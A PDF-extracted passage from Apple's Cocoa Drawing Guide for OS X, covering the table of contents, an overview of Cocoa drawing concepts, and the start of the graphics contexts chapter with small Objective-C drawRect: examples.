68 Working with Colors 69 Applying Colors to Drawn Content 69 Applying Color to Text 70 Getting the Components of a Color 70 Choosing Colors 71 Working with Color Spaces 71 Converting Between Color Spaces 71 Mapping Physical Colors to a Color Space 72 Images 74 Image Basics 75 Image Representations 75 Images and Caching 77 Image Size and Resolution 80 Image Coordinate Systems 81 Drawing Versus Compositing 82 Supported Image File Formats 83 Basic Formats 83 TIFF Compression 84 Support for Other File Formats 84 Guidelines for Using Images 86 Creating NSImage Objects 87 Loading an Existing Image 87 Loading a Named Image 87 Drawing to an Image by Locking Focus 88 Drawing Offscreen Images Using a Block-Based Drawing Method to Support High Resolution Displays 89 Creating a Bitmap 89 Creating a PDF or EPS Image Representation 93 Using a Quartz Image to Create an NSImage 95 Working with Images 95 Drawing Images into a View 95 Drawing Resizable Textures Using Images 96 Creating an OpenGL Texture 98 Applying Core Image Filters 100 Getting and Setting Bitmap Properties 100 Converting a Bitmap to a Different Format 100 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 4 ContentsAssociating a Custom Color Profile With an Image 101 Converting Between Color Spaces 102 Premultiplying Alpha Values for Bitmaps 108 Creating New Image Representation Classes 109 Advanced Drawing Techniques 111 Adding Shadows to Drawn Paths 111 Creating Gradient Fills 113 Using the NSGradient Class 114 Using Quartz Shadings in Cocoa 118 Drawing to the Screen 119 Capturing the Screen 119 Full-Screen Drawing in OpenGL 120 Full-Screen Drawing in Cocoa 121 Disabling Screen Updates 124 Using NSTimer for Animated Content 124 Using Cocoa Animation Objects 125 Optimizing Your Drawing Code 125 Draw Minimally 125 Avoid Forcing Synchronous Updates 125 Reuse Your Objects 126 Minimize State Changes 126 Text 127 Text Attributes 127 Simple Text Drawing 128 Advanced Text Drawing 128 Paths 130 Path Building Blocks 130 The NSBezierPath Class 131 Path Elements 131 Subpaths 133 Path Attributes 133 Winding Rules 141 Manipulating Geometric Types 142 Drawing Fundamental Shapes 144 Adding Points 144 Adding Lines and Polygons 145 Adding Rectangles 146 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 5 ContentsAdding Rounded Rectangles 146 Adding Ovals and Circles 147 Adding Arcs 148 Adding Bezier Curves 151 Adding Text 151 Drawing the Shapes in a Path 152 Drawing Rectangles 152 Working with Paths 154 Building Paths 154 Improving Rendering Performance 154 Manipulating Individual Path Elements 156 Transforming a Path 157 Creating a CGPathRef From an NSBezierPath Object 157 Detecting Mouse Hits on a Path 160 Incorporating Other Drawing Technologies 162 Using Quartz in Your Application 162 Using Quartz Features 162 Graphics Type Conversions 163 Getting a Quartz Graphics Context 164 Creating a Cocoa Graphics Context Using Quartz 165 Modifying the Graphics State 165 Using OpenGL in Your Application 165 Using NSOpenGLView 165 Creating an OpenGL Graphics Context 166 Using QuickTime in Your Application 167 Using the QuickTime Kit 168 Using QuickTime C-Based Functions 168 Using Quartz Composer Compositions 168 Choosing the Right Imaging Technology 169 Document Revision History 170 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 6 ContentsFigures, Tables, and Listings Overview of Cocoa Drawing 12 Figure 1-1 The painter’s model 14 Figure 1-2 Examples of shape primitives 18 Figure 1-3 Examples of bitmap images 19 Figure 1-4 Examples of text 20 Table 1-1 Primitive data types 17 Table 1-2 Common tasks and solutions 22 Graphics Contexts 24 Figure 2-1 Compositing operations in Cocoa 33 Figure 2-2 Clipping paths and winding rules 36 Figure 2-3 A comparison of aliased and anti-aliased content 38 Table 2-1 Graphics state information 27 Table 2-2 Mathematical equations for compositing colors 34 Coordinate Systems and Transforms 41 Figure 3-1 Screen, window, and view coordinate systems on the screen 42 Figure 3-2 Translating content 46 Figure 3-3 Scaling content 47 Figure 3-4 Rotated content 48 Figure 3-5 Transform ordering 49 Figure 3-6 Basic transformation matrix 50 Figure 3-7 Mathematical conversion of coordinates 50 Figure 3-8 Normal and flipped coordinate axes 55 Figure 3-9 Compositing an image to a flipped view 58 Listing 3-1 Flipping the coordinate system manually 60 Color and Transparency 65 Figure 4-1 Drawing with a pattern 67 Table 4-1 Methods for changing color attributes 69 Table 4-2 Quartz rendering intents 72 Images 74 Figure 5-1 Image orientation in an unflipped view 82 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 7Figure 5-2 Drawing a three-part image 97 Figure 5-3 Drawing a nine-part image 97 Table 5-1 Image representation classes 76 Table 5-2 Image caching modes 78 Table 5-3 Implied cache settings 78 Table 5-4 Image interpolation constants 80 Table 5-5 Cocoa supported file formats 83 Table 5-6 TIFF compression settings 84 Table 5-7 Additional formats supported by Cocoa 85 Listing 5-1 Drawing to an image 88 Listing 5-2 Capturing the contents of an existing image 91 Listing 5-3 Drawing to an offscreen window 92 Listing 5-4 Drawing directly to a bitmap 93 Listing 5-5 Creating PDF data from a view 94 Listing 5-6 Creating an OpenGL texture from an image 98 Listing 5-7 Adding a ColorSync profile to an image 101 Listing 5-8 Creating a bitmap with a custom color profile 102 Listing 5-9 Converting a bitmap to a different color space 104 Listing 5-10 Using a CGImageRef object to create an NSImage object 106 Listing 5-11 Creating a color space from a custom color profile 107 Advanced Drawing Techniques 111 Figure 6-1 Shadows cast by rendered paths 111 Figure 6-2 Different types of gradients 114 Figure 6-3 Axial gradient drawn inside a Bezier path 117 Figure 6-4 Gradient created using primitive drawing method 118 Listing 6-1 Adding a shadow to a path 112 Listing 6-2 Clipping an axial gradient to a rounded rectangle 116 Listing 6-3 Drawing a radial gradient using primitive routine 117 Listing 6-4 Creating an OpenGL full-screen context 120 Listing 6-5 Creating a Cocoa full-screen context 122 Paths 130 Figure 8-1 Path elements for a complex path 132 Figure 8-2 Line cap styles 135 Figure 8-3 Line join styles 136 Figure 8-4 Line dash patterns 137 Figure 8-5 Flatness effects on curves 138 Figure 8-6 Miter limit effects 140 Figure 8-7 Applying winding rules to a path 142 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 8 Figures, Tables, and ListingsFigure 8-8 Inscribing the corner of a rounded rectangle 147 Figure 8-9 Creating arcs 149 Figure 8-10 Cubic Bezier curve 151 Figure 8-11 Stroking and filling a path. 152 Table 8-1 Path element commands 131 Table 8-2 Winding rules 141 Table 8-3 Commonly used geometry functions 143 Table 8-4 Rectangle frame and fill functions 153 Listing 8-1 Creating a complex path 133 Listing 8-2 Setting the line width of a path 134 Listing 8-3 Setting the line cap style of a path 136 Listing 8-4 Setting the line join style of a path 137 Listing 8-5 Adding a dash style to a path 137 Listing 8-6 Setting the flatness of a path 139 Listing 8-7 Setting the miter limit for a path 140 Listing 8-8 Drawing a point 144 Listing 8-9 Using lines to draw a polygon 145 Listing 8-10 Drawing a rectangle 146 Listing 8-11 Drawing a rounded rectangle 147 Listing 8-12 Creating three arcs 149 Listing 8-13 Changing the control point of a curve path element 156 Listing 8-14 Creating a CGPathRef from an NSBezierPath 158 Listing 8-15 Detecting hits on a path 160 Incorporating Other Drawing Technologies 162 Table 9-1 Simple data-type conversions 163 Table 9-2 Equivalent Cocoa and Quartz data types 163 Table 9-3 Imaging technologies 169 Listing 9-1 Creating an OpenGL graphics context 166 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 9 Figures, Tables, and ListingsHigh-quality graphics are an important part of a well-designed application. In fact, high-quality graphicsis one of the things that sets OS X apart from many other operating systems. While some operating systems rely on flat colors and rectangular objects, OS X uses color, transparency, and its advanced compositing system to give programs a more fluid and inviting appearance. At a Glance This document isintended for developers who are new to drawing custom content using Cocoa. More advanced Cocoa developers may also want to read this book for tips on how to perform specific tasks. Before you begin reading this document, you should be familiar with the basic concepts of how to create a Cocoa application. This includes how to create new projects in Xcode, how to create a simple nib file, and how to manipulate Cocoa objects. You do not need any understanding of graphics programming in general, although such knowledge definitely helps. This document assumesthat you have read Cocoa Fundamentals Guide and are familiar with the basic concepts for creating a Cocoa application. This book also assumesthat you have a basic understanding of the Objective-C programming language. This document has the following chapters: ● “Overview of Cocoa Drawing” (page 12) introduces drawing-related concepts and the Cocoa support for drawing. ● “Graphics Contexts” (page 24) describes the drawing environment and provides examples of how you configure the environment to suit your needs. ● “Coordinate Systems and Transforms” (page 41) describes the coordinate systems used for drawing and provides examples of how you manipulate your content using transforms. ● “Color and Transparency” (page 65) provides basic information about color and shows you how to use the color-related Cocoa objects. ● “Paths” (page 130) describes the basic drawing tools found in Cocoa and provides detailed information about how to create and manipulate everything from simple shapes to Bezier paths. ● “Images” (page 74) describes the image classes found in Cocoa and provides examples of how to create and manipulate images in your application. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 10 Introduction to Cocoa Drawing Guide● “Text” (page 127) provides an overview of text and its relationship to the Cocoa drawing environment. ● “Advanced Drawing Techniques” (page 111) demonstrates some advanced drawing-related techniques, including full-screen drawing, animation, gradients, and performance tuning. ● “Incorporating Other Drawing Technologies” (page 162) provides information and examples on how to integrate advanced technologies, such as Quartz, OpenGL, and QuickTime, into your Cocoa application. See Also Drawing is only one step in the process of creating a fully functional Cocoa view. Understanding view hierarchies and how events interact with views are two other critical steps. For information about these other subjects, consult the following documents: ● View Programming Guide—for information about creating and managing views ● Cocoa Event Handling Guide—for information about event handling To ensure the drawing in your app looks great on a Retina display, consult this document: ● High Resolution Guidelines for OS X Because Cocoa drawing is based on Quartz, many Quartz behaviors (though not all) are also relevant to Cocoa. This document describes the different behaviors provided by Cocoa, but for additional information about Quartz behavior, consult the following documents: ● Quartz 2D Programming Guide—for conceptual information related to Quartz. Introduction to Cocoa Drawing Guide See Also 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 11Drawing is a fundamental part of most Cocoa applications. If your application uses only standard system controls, then Cocoa does all of the drawing for you. If you use custom views or controls, though, then it is up to you to create their appearance using drawing commands. The following sections provide a quick tour of the drawing-related features available in Cocoa. Subsequent chapters provide more details about each feature, and also include examples for many common tasks you might perform during drawing. Cocoa Drawing Support The Cocoa drawing environment is available to all applications built on top of the Application Kit framework (AppKit.framework). This framework defines numerous classes and functions for drawing everything from primitive shapes to complex images and text. Cocoa drawing also relies on some primitive data types found in the Foundation framework (Foundation.framework). The Cocoa drawing environment is compatible with all of the other drawing technologies in OS X, including Quartz, OpenGL, Core Image, Core Video, Quartz Composer, PDF Kit, and QuickTime. In fact, most Cocoa classes use Quartz extensively in their implementations to do the actual drawing. In cases where you find Cocoa does not have the features you need, it is no problem to integrate other technologies where necessary to achieve the desired effects. Because it is based on Quartz, the Application Kit framework provides most of the same features found in Quartz, but in an object-oriented wrapper. Among the features supported directly by the Application Kit are the following: ● Path-based drawing (also known as vector-based drawing) ● Image creation, loading and display ● Text layout and display ● PDF creation and display ● Transparency ● Shadows ● Color management 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 12 Overview of Cocoa Drawing● Transforms ● Printing support ● Anti-aliased rendering ● OpenGL support Like Quartz, the Cocoa drawing environment takes advantage of graphics hardware wherever possible to accelerate drawing operations. This support is automatic. You do not have to enable it explicitly in your code. For information about the classes available in Cocoa, see Application Kit Framework Reference and Foundation Framework Reference . For information on how to integrate C-based technologies into your Cocoa application, see “Incorporating Other Drawing Technologies” (page 162). The Painter’s Model Like Quartz, Cocoa drawing uses the painter’s model for imaging. In the painter’s model, each successive drawing operation applies a layer of “paint” to an output “canvas.” As new layers of paint are added, previously painted elements may be obscured (either partially or totally) or modified by the new paint. This model allows you to construct extremely sophisticated images from a small number of powerful primitives. Overview of Cocoa Drawing The Painter’s Model 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 13Figure 1-1 shows how the painter’s model works and demonstrates how important drawing order can be when rendering content. In the first result, the wireframe shape on the left is drawn first, followed by the solid shape, obscuring all but the perimeter of the wireframe shape. When the shapes are drawn in the opposite order, the results are very different. Because the wireframe shape has more holes in it, parts of the solid shape show through those holes. Figure 1-1 The painter’s model The Drawing Environment The drawing environment encompasses the digital canvas and graphics settings that determine the final look of your content. The canvas determines where your content is drawn, while the graphics settings control every aspect of drawing, including the size, color, quality, and orientation of your content. The Graphics Context You can think of a graphics context as a drawing destination. A graphics context encapsulates all of the information needed to draw to an underlying canvas, including the current drawing attributes and a device-specific representation of the digital paint on the canvas. In Cocoa, graphics contexts are represented by the NSGraphicsContext class and are used to represent the following drawing destinations: ● Windows (and their views) ● Images (including bitmaps of all kinds) Overview of Cocoa Drawing The Drawing Environment 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 14● Printers ● Files (PDF, EPS) ● OpenGL surfaces By far, the most common drawing destination is your application's windows, and by extension its views. Cocoa maintains graphics context objects on a per-window, per-thread basis for your application. This means that for a given window, there are as many graphics contextsfor that window asthere are threadsin your application. Although most drawing occurs on your application's main thread, the additional graphics context objects make it possible to draw from secondary threads as well. For most other drawing operations, Cocoa creates graphics contexts as needed and configures them before calling your drawing code. In some cases, actions you take may create a graphics context indirectly. For example, when creating a PDF file, you might simply request the PDF data for a certain portion of your view object. Behind the scenes, Cocoa actually creates a graphics context object and calls your view's drawing code to generate the PDF data. You can also create graphics contexts explicitly to handle drawing in special situations. For example, one way to create a bitmap image is to create the bitmap canvas and then create a graphics context that draws directly to that canvas. There are other waysto create graphics context objects explicitly, although most involve drawing to the screen or to an image. It is very rare that you would ever create a graphics context object for printing or generating PDF or EPS data. For information about graphics contexts, see “Graphics Contexts” (page 24). The Graphics State In addition to managing the drawing destination, an NSGraphicsContext object also manages the graphics state associated with the current drawing destination. The graphics state consists of attributes that affect the way content is drawn,such asthe line width,stroke color, and fill color. The current graphicsstate can be saved on a stack that is maintained by the current graphics context object. Any subsequent changes to the graphics state can then be undone quickly by simply restoring the previous graphics state. This ability to save and restore the graphics state provides a simple way for your drawing code to return to a known set of attributes. Cocoa manages some attributes of the graphics state in a slightly different way than Quartz does. For example, the currentstroke and fill color are set using the NSColor class, and most path-based parameters are set using the NSBezierPath class. This shift of responsibility reflects the more object-oriented nature of Cocoa. For more information about the attributes that comprise the current graphics state, and the objects that manage them, see “Graphics State Information” (page 27). Overview of Cocoa Drawing The Drawing Environment 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 15The Coordinate System The coordinate system supported by Cocoa is identical to the one used in Quartz-based applications. All coordinates are specified using floating-point valuesinstead of integers. Your code drawsin the user coordinate space. Your drawing commands are converted to the device coordinate space where they are then rendered to the target device. The user coordinate space uses a fixed scale for coordinate values. In this coordinate space, one unit is effectively equal to 1/72 of an inch. Although it seems like this might imply a 72 dots-per-inch (dpi) resolution for drawing, it is a mistake to assume that. In fact, the user coordinate space has no inherent notion of pixels or dpi. The use of floating-point values makes it possible for you to do precise layout in the user coordinate space and let Cocoa worry about converting your coordinates to the device space. As the name implies, the device coordinate space refers to the native coordinate space used by the target device, usually a monitor or printer. Unlike the user coordinate space, whose units are effectively fixed, the units of the device coordinate space are tied to the resolution of the target device, which can vary. Cocoa handles the conversion of coordinates from user space to the device space automatically during rendering, so you rarely need to work with device coordinates directly. For more information about coordinate systems in Cocoa, see “Coordinate Systems Basics” (page 41). Transforms A transform is a mathematical construct used to manipulate coordinatesin two-dimensionalspace. Transforms are used extensively in graphics-based computing to simplify the drawing process. Coordinate values are multiplied through the transform's mathematical matrix to obtain a modified coordinate that reflects the transform's properties. In Cocoa, the NSAffineTransform class implements the transform behavior. You use this class to apply the following effects to the current coordinate system: ● Translation ● Scaling ● Rotation You can combine the preceding effectsin different combinationsto achieve interesting results. During drawing, Cocoa applies the effects to the content you draw, imparting those characteristics on your shapes and images. Because all coordinates are multiplied through a transform at some point during rendering, the addition of these effects has little effect on performance. In fact, manipulating your shapes using transforms is often faster than manipulating your source data directly. Overview of Cocoa Drawing The Drawing Environment 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 16For more information about transforms, including how they affect your content and how you use them, see “Coordinate Systems and Transforms” (page 41). Color and Color Spaces Color is an important part of drawing. Before drawing any element, you must choose the colors to use when rendering that element. Cocoa provides complete support for specifying color information in any of several different color spaces. Support is also provided for creating colors found in International Color Consortium (ICC) and ColorSync profiles. Transparency is another factor that influencesthe appearance of colors. In OS X, transparency is used to render realistic-looking content and aesthetically appealing effects. Cocoa providesfullsupport for adding transparency to colors. In Cocoa, the NSColor and NSColorSpace classes provide the implementation for color objects and color space objects. For more information on how to work with colors in Cocoa, see “Color and Transparency” (page 65). Basic Drawing Elements The creation of complex graphics often has a simple beginning. In Cocoa, everything you draw is derived from a set of basic elementsthat you assemble in your drawing code. These elements are fundamental to all drawing operations and are described in the following sections. Geometry Support Cocoa provides its own data structures for manipulating basic geometric information such as points and rectangles. Cocoa defines the data types listed in Table 1-1. The member fields in each of these data structures are floating-point values. Table 1-1 Primitive data types Type Description A point data type consists of an x and y value. Pointsspecify the coordinatesfor a rendered element. For example, you use points to define lines, to specify the start of a rectangle, to specify the angle of an arc, and so on. NSPoint A size data type consists of a width and height field. Sizes are used to specify dimensions of a target. For example, a size data type specifies the width and height of a rectangle or ellipse. NSSize Overview of Cocoa Drawing Basic Drawing Elements 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 17Type Description A rectangle data type is a compound structure composed of an origin point and a size. The origin field specifiesthe location of the rectangle’s bottom-left corner in the current coordinate system. The size field specifies the rectangle’s height and width relative to the origin point and extending up and to the right. (Note, in flipped coordinate spaces, the origin point is in the upper-left corner and the rectangle’s height and width extend down and to the right.) NSRect For information on how to manipulate point, rectangle, and size data types, see “Manipulating Geometric Types” (page 142). Shape Primitives Cocoa provides support for drawing shape primitives with the NSBezierPath class. You can use this class to create the following basic shapes, some of which are shown in Figure 1-2. ● Lines ● Rectangles ● Ovals and circles ● Arcs ● Bezier cubic curves Figure 1-2 Examples of shape primitives Bezier path objects store vector-based path information, making them compact and resolution independent. You can create paths with any of the simple shapes or combine the basic shapes together to create more complex paths. To render those shapes, you set the drawing attributes for the path and then stroke or fill it to “paint” the path to your view. Overview of Cocoa Drawing Basic Drawing Elements 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 18Note: You can also add glyph outlinesto a Bezier path object using the methods of NSBezierPath. For most text handling, though, you should use the Cocoa text system, which is introduced in “Text” (page 127). For more information about drawing shapes, see “Paths” (page 130). Images Support for images is provided by the NSImage class and its associated image representation classes (NSImageRep and subclasses). The NSImage class contains the basic interface for creating and managing image-related data. The image representation classes provide the infrastructure used by NSImage to manipulate the underlying image data. Images can be loaded from existing files or created on the fly. Figure 1-3 shows some bitmap images loaded from files. Figure 1-3 Examples of bitmap images Cocoa supports many different image formats, either directly or indirectly. Some of the formats Cocoa supports directly include the following: ● Bitmap images, including the following image formats: ● BMP ● GIF ● JPEG ● JPEG 2000 Overview of Cocoa Drawing Basic Drawing Elements 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 19● PNG ● TIFF ● Images based on Encapsulated PostScript (EPS) data ● Images based on Portable Document Format (PDF) data ● Images based on PICT data ● Core Image images Because they support many types of data, you should not think of image objects strictly as bitmaps. Image objects can also store path-based drawing commands found in EPS, PDF, and PICT files. They can render data provided to them by Core Image. They can interpolate image data as needed and render the image at different resolutions as needed. For detailed information about Cocoa support for images and the ways to use images in your code, see “Images” (page 74). Gradients In OS X v10.5 and later, you can use the NSGradient class to create gradient fill patterns. Text Cocoa provides an advanced text system for drawing everything from simple strings to formatted text flows. Figure 1-4 shows some basic examples of stylized text that you can create. Figure 1-4 Examples of text Overview of Cocoa Drawing Basic Drawing Elements 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 20Because text layout and rendering using the Cocoa text system is a very complicated process, it is already well documented elsewhere and is not covered in great detail in this document. For basic information about drawing text and for links to more advanced text-related documents, see “Text” (page 127). Views and Drawing Nearly all drawing in Cocoa is done inside views. Views are objects that represent a visual portion of a window. Each view object is responsible for displaying some visual content and responding to user events in its visible area. A view may also be responsible for one or more subviews. The NSView classisthe base classfor all view-related objects. Cocoa definesseveral types of viewsfor displaying standard content, including text views, split views, tab views, ruler views, and so on. Cocoa controls are also based on the NSView class and implement interface elements such as buttons, scrollers, tables, and text fields. In addition to the standard views and controls, you can also create your own custom views. You create custom views in cases where the behavior you are looking for is not provided by any of the standard views. Cocoa notifies your view that it needsto draw itself by sending your view a drawRect: message. Your implementation of the drawRect: method is where all of your drawing code goes. Note: Although you can also subclassthe standard views and controlsto implement custom behavior, it isrecommended that you try to use a delegate object whenever possible instead. If you do subclass a standard control, avoid changing the appearance of that control. Doing so goes against the guidance in OS X Human Interface Guidelines. By default, window updates occur only in response to user actions. This means that your view’s drawRect: method is called only when something about your view has changed. For example, Cocoa calls the method when a scrolling action causes a previously hidden part of your view to be exposed. Cocoa also calls it in response to requests from your own code. If the information displayed by your custom view changes, you must tell Cocoa explicitly that you want the appropriate parts of your view updated. You do so by invalidating parts of your view’s visible area. Cocoa collects the invalidated regions together and generates appropriate drawRect: messages to redraw the content. Although there are numerous ways to draw, a basic drawRect: method has the following structure: - (void)drawRect:(NSRect)rect { // Draw your content } Overview of Cocoa Drawing Views and Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 21That's it! By the time your drawRect: method is called, Cocoa has already locked the drawing focus on your view, saved the graphics state, adjusted the current transform matrix to your view's origin, and adjusted the clipping rectangle to your view's frame. All you have to do is draw your content. In reality, your drawRect: method is often much more complicated. Your own method might use several other objects and methodsto handle the actual drawing. You also might need to save and restore the graphics state one or more times. Because this single method is used for all of your view's drawing, it also has to handle several different situations. For example, you might want to do more precise drawing during printing or use heavily optimized code during a live resizing operation. The options are numerous and covered in more detail in subsequent chapters. For additional information about views and live resizing, see View Programming Guide . For more information about printing in Cocoa, see “Customizing a View’s Drawing for Printing” in Printing Programming Guide for OS X . Common Drawing Tasks Table 1-2 lists some of the common tasks related to drawing the content of your view and offers advice on how to accomplish those tasks. Table 1-2 Common tasks and solutions Task How to accomplish Implement a drawRect: method in your custom view. Use your implementation of this method to draw content using paths, images, text, or any other tools available to you in Cocoa, Quartz, or OpenGL. Draw the content for a custom view. Send a setNeedsDisplayInRect: or setNeedsDisplay: message to the view. Sending either of these messages marks part or all of the view as invalid and in need of an update. Cocoa responds by sending a drawRect: message to your view during the next update cycle. Update a custom view to reflect changed content. Use Core Animation, set up a timer, or use the NSAnimation or NSViewAnimation classes, to generate notifications at a desired frame rate. Upon receiving the timer notification, invalidate part or all of your view to force an update. For information about Core Animation, see Core Animation Programming Guide . For more information about animating with timers, see “Using NSTimer for Animated Content” (page 124). For information about using NSAnimation objects, see “Using Cocoa Animation Objects” (page 125). Animate some content in a view. Overview of Cocoa Drawing Common Drawing Tasks 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 22Task How to accomplish Use the inLiveResize method of NSView to determine if a live resize is happening. If it is, draw as little as possible while ensuring your view has the look you want. For more information about live resizing optimizations, see Drawing Performance Guidelines. Draw during a live resize. Use the currentContextDrawingToScreen class method or isDrawingToScreen instancemethod of NSGraphicsContext to determine if a print operation is underway. Use the attributes method of NSGraphicsContext to retrieve (as needed) any additional information about the current print job. Draw images at the best possible resolution. Adjust your graphics in any other ways you think are appropriate to achieve the best possible appearance on the target device. For more information about printing, see Printing Programming Guide for OS X . Draw during a printing operation. Use the dataWithPDFInsideRect: or dataWithEPSInsideRect:method to obtain the data. In your drawRect: method use the currentContextDrawingToScreen class method or isDrawingToScreen instance method of NSGraphicsContext to determine if a print operation is underway. Create PDF or EPS data from a view. Overview of Cocoa Drawing Common Drawing Tasks 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 23Graphics contexts are a fundamental part of the drawing infrastructure in Cocoa applications. As the name suggests, a graphics context provides the context for subsequent drawing operations. It identifies the current drawing destination (screen, printer, file, and so on), the coordinate system and boundaries for the underlying canvas, and any graphics attributes associated with the destination. For most of the drawing you do in Cocoa, you never need to create a graphics context yourself. The normal drawing cycle in Cocoa automatically creates and configures a graphics context for you to use. For some advanced drawing, however, you may need to create your own graphics context prior to drawing. In a Cocoa application, graphics contexts for nearly all types of canvas are represented by the NSGraphicsContext class. You use graphics context objects to manipulate graphics attributes and to get information about the current drawing environment. Note: For OpenGL drawing, you use the NSOpenGLContext classinstead of NSGraphicsContext for the graphics context object. OpenGL drawing, and use of the NSOpenGLContext class, are covered in “Using OpenGL in Your Application” (page 165). This chapter provides an overview of Cocoa graphics contexts and how you use them in your application. It includes information on how to create custom graphics contexts and when it might be appropriate to do so. Graphics Context Basics The primary job of any graphics context object isto maintain information about the currentstate of the drawing environment. In Quartz, the graphics context object is associated with a window, bitmap, PDF file, or other output device and maintains information for that device. The same is true for a Cocoa graphics context, but because Cocoa drawing is view-based, some additional changes are made to the drawing environment before your view’s drawRect: method is called. By the time your view’s drawRect: method is called, Cocoa has made sure that any drawing calls you make stay within the confines of your view. It saves the graphics state to simplify the process of undoing its changes later. It adds an appropriate transform to the current transformation matrix to place the drawing origin at the 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 24 Graphics Contextsorigin of your view. It also sets the clipping region to your view's visible boundaries, preventing any rendered content from straying into other views. Your view is effectively the star of the show, at least until another view’s drawRect: method is called. While the current context is focused on your view, you can draw paths, images, text, or any other content you want. You can also change the attributes of the current drawing environment to achieve the appearance you want for your content. Eventually, the content you draw is sent to the Quartz Compositor, where it is combined with the content from other views in the window and flushed to the screen or output device. After your drawRect: method returns, Cocoa goesthrough the process of resetting the drawing environment for the next view. It reverts any changes you made to the drawing environment and sets up the coordinate transform and clipping region for the next view, giving it its own pristine environment in which to work. This process then repeats itself during each update cycle in your application. The Current Context Each thread in a Cocoa application has its own graphics context object for a given window. You can access this object from your code using the currentContext method of NSGraphicsContext, as shown in the following example: NSGraphicsContext* aContext = [NSGraphicsContext currentContext]; The currentContext method always returns the Cocoa graphics context object that is appropriate for the current drawing environment. This object keeps track of the current graphics state, lets you save and restore graphics state information, and lets you modify many graphics state attributes. The changes you make to the graphics state affect all subsequent drawing calls. If you change an attribute more than once, only the most recent setting is used. To save the current graphics state, you use the saveGraphicsState method of NSGraphicsContext. This method essentially pushes a copy of the current state onto a stack, leaving you free to make changes to the currentstate. When you want to revert back to the previousstate, you simply call the restoreGraphicsState method to pop the current graphics state (including all changes since the last save) off of the stack and restore the previous state. If you plan to change the current graphics state significantly, it is a good idea to save the current state before making your changes. Modifying one or two attributes usually may not merit saving the graphics state, since you can reset or change those individual attributes easily. However, if you are changing more than one or two attributes, it is usually easier to save and restore the entire graphicsstate. You can call the saveGraphicsState method as often as needed in your code to save snapshots of the current graphics state, but you must be sure to balance each call with a matching call to restoreGraphicsState. Graphics Contexts Graphics Context Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 25Note: The saveGraphicsState and restoreGraphicsState methods are available both as class methods and as instance methods. The class method versions simply save and restore the graphicsstate of the current context. The instance methodslet you save the state of a specific context object, although in most cases this should be the current context. The following example shows a simple drawRect: method that iterates over an array of developer-defined objects, each of which is drawn with a differentset of attributes. The graphicsstate issaved and restored during each loop iteration, ensuring that each object starts from the same graphics state. - (void)drawRect:(NSRect)rect { NSGraphicsContext* theContext = [NSGraphicsContext currentContext]; int i; int numObjects = [myObjectArray count]; // Iterate over an array of objects // Set the attributes for each before drawing for (i = 0; i < numObjects; i++) { [theContext saveGraphicsState]; // Set the drawing attributes // Draw the object [theContext restoreGraphicsState]; } } Warning: When saving and restoring the graphics state, you must balance all calls to saveGraphicsState with a corresponding call to restoreGraphicsState. Failure to do so can result in unexpected changes to the appearance of any windows that use that view. Graphics Contexts Graphics Context Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 26Graphics State Information Each Cocoa graphics context object maintainsinformation about the currentstate of the drawing environment. This information ranges from the global rendering settings to the attributes used to render the current path and is the same state information saved by Quartz. Whenever you save the current graphics state, you save a copy of the settings listed in Table 2-1. Table 2-1 Graphics state information Attribute Description Maps points in the view’s coordinate system to points in the destination device's coordinate system. Cocoa modifies the CTM before calling your view’s drawRect: method. You can use an NSAffineTransform object to modify the CTM further to change the drawing origin, scale the canvas, or rotate the coordinate system. For more information, see “Coordinate Systems and Transforms” (page 41). Current transformation matrix (CTM) Specifiesthe area of the canvasthat can be painted by drawing calls. Cocoa modifies the clipping region to the visible area of your view before calling its drawRect: method. You can use an NSBezierPath object to further clip the visible area. For more information, see “Setting the Clipping Region” (page 35). Clipping area Specifies the width of paths. The default line width is 1.0 but you can modify this value using an NSBezierPath object. For more information,see “Line Width” (page 134). Line width Specifies how two connected lines are joined together. The default join style is NSMiterLineJoinStyle but you can modify this value using an NSBezierPath object. For more information, see “Line Join Styles” (page 136). Line join style Specifies the appearance of an open end point on a path. The default line cap style is NSButtLineCapStyle but you can modify this value using an NSBezierPath object. For more information, see “Line Cap Styles” (page 135). Line cap style Defines a broken pattern for lines, including the initial phase for the style. There is no default dash style, resulting in solid lines. You modify dash styles for a path using an NSBezierPath object. For more information, see “Setting Path Attributes” (page 31). Line dash style Determines when lines should be joined with a bevel instead of a miter. Applies only when the line join style is set to NSMiterLineJoinStyle. The length of the miter is divided by the line width. If the resulting value is greater than the miter limit, a bevel is used. The default value is 10.0 but you can modify this value using an NSBezierPath object. For more information, see “Miter Limits” (page 139). Line miter limit Graphics Contexts Graphics Context Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 27Attribute Description Specifies the accuracy with which curves are rendered. (It is also the maximum error tolerance, measured in pixels.) Smaller numbers result in smoother curves at the expense of more calculations. The interpretation of this value may vary slightly on different rendering devices. The default value is 0.6 but you can modify this value using an NSBezierPath object. For more information, see “Line Flatness” (page 138). Flatness value Specifies the color used for rendering paths. This color applies only to the path line itself, not the area the path encompasses. You can specify colors using any of the system-supported color spaces. This value includes alpha information. Color information is managed by the NSColor class. For more information, see “Setting Colors and Patterns” (page 31). Stroke color Specifies the color used to fill the area enclosed by a path. You can specify colors using any of the system-supported color spaces. This value includes alpha 